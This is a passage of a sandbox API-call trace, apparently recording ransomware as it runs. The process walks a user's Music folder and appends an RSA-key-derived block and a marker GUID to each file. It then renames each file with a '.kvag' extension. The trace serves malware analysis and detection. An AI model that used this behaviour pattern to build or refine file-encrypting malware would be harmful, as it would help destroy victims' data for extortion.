lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.061] CloseHandle (hObject=0x61c) returned 1 [0121.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\6xt4FsFvWcFUHy94.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\6xt4fsfvwcfuhy94.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\6xt4FsFvWcFUHy94.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\6xt4fsfvwcfuhy94.mp3.kvag")) returned 1 [0121.065] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad7ee0, ftCreationTime.dwHighDateTime=0x1d4ce60, ftLastAccessTime.dwLowDateTime=0x3d6969f0, ftLastAccessTime.dwHighDateTime=0x1d4c98c, ftLastWriteTime.dwLowDateTime=0x3d6969f0, ftLastWriteTime.dwHighDateTime=0x1d4c98c, nFileSizeHigh=0x0, nFileSizeLow=0xf68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blTUlW3w8qpPB0Z.mp3", cAlternateFileName="BLTULW~1.MP3")) returned 1 [0121.065] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\blTUlW3w8qpPB0Z.mp3") returned=".mp3" [0121.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\blTUlW3w8qpPB0Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\bltulw3w8qppb0z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.066] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=3944) returned 1 [0121.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.068] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.068] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.070] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xf68, lpOverlapped=0x0) returned 1 [0121.070] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.070] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.070] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.070] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.071] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.071] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.071] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.071] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.071] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.071] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.071] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.071] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.071] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.071] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.072] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.072] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.072] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.072] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.072] CloseHandle (hObject=0x61c) returned 1 [0121.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\blTUlW3w8qpPB0Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\bltulw3w8qppb0z.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\blTUlW3w8qpPB0Z.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\bltulw3w8qppb0z.mp3.kvag")) returned 1 [0121.074] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb32ea60, ftCreationTime.dwHighDateTime=0x1d4d564, ftLastAccessTime.dwLowDateTime=0xdf9ef7b0, ftLastAccessTime.dwHighDateTime=0x1d4d02d, ftLastWriteTime.dwLowDateTime=0xdf9ef7b0, ftLastWriteTime.dwHighDateTime=0x1d4d02d, nFileSizeHigh=0x0, nFileSizeLow=0x137a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gjnn6ZYKu.mp3", cAlternateFileName="GJNN6Z~1.MP3")) returned 1 [0121.074] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Gjnn6ZYKu.mp3") returned=".mp3" [0121.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Gjnn6ZYKu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\gjnn6zyku.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.075] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=79776) returned 1 [0121.075] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.077] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1377a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.077] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.078] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x137a0, lpOverlapped=0x0) returned 1 [0121.079] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.079] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.080] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.080] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.080] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.080] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.080] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.081] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.081] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.081] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.081] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.081] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.081] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.081] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.082] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x137a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.082] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.082] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.082] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.082] CloseHandle (hObject=0x61c) returned 1 [0121.083] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Gjnn6ZYKu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\gjnn6zyku.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Gjnn6ZYKu.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\gjnn6zyku.mp3.kvag")) returned 1 [0121.084] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5d0d0, ftCreationTime.dwHighDateTime=0x1d4cbc9, ftLastAccessTime.dwLowDateTime=0xb07fe4f0, ftLastAccessTime.dwHighDateTime=0x1d4c92d, ftLastWriteTime.dwLowDateTime=0xb07fe4f0, ftLastWriteTime.dwHighDateTime=0x1d4c92d, nFileSizeHigh=0x0, nFileSizeLow=0x149a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N-2ZB.m4a", cAlternateFileName="")) returned 1 [0121.084] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\N-2ZB.m4a") returned=".m4a" [0121.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\N-2ZB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\n-2zb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.085] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=5274) returned 1 [0121.085] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.087] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.087] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.089] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x149a, lpOverlapped=0x0) returned 1 [0121.089] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.089] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.089] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.089] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.090] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.090] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.090] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.090] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.090] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.090] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.090] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.090] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.091] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.091] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.091] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x149a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.091] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.091] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.091] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.091] CloseHandle (hObject=0x61c) returned 1 [0121.092] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\N-2ZB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\n-2zb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\N-2ZB.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\n-2zb.m4a.kvag")) returned 1 [0121.093] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f311490, ftCreationTime.dwHighDateTime=0x1d4d3cc, ftLastAccessTime.dwLowDateTime=0xb6873000, ftLastAccessTime.dwHighDateTime=0x1d4cc2b, ftLastWriteTime.dwLowDateTime=0xb6873000, ftLastWriteTime.dwHighDateTime=0x1d4cc2b, nFileSizeHigh=0x0, nFileSizeLow=0x5609, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qne4-mFXNX7U_TH6.wav", cAlternateFileName="QNE4-M~1.WAV")) returned 1 [0121.093] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Qne4-mFXNX7U_TH6.wav") returned=".wav" [0121.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\Qne4-mFXNX7U_TH6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\qne4-mfxnx7u_th6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.094] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=22025) returned 1 [0121.094] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.096] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x55e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.096] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.097] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x5609, lpOverlapped=0x0) returned 1 [0121.098] lstrlenA (lpString="-----BEGIN PUBLIC 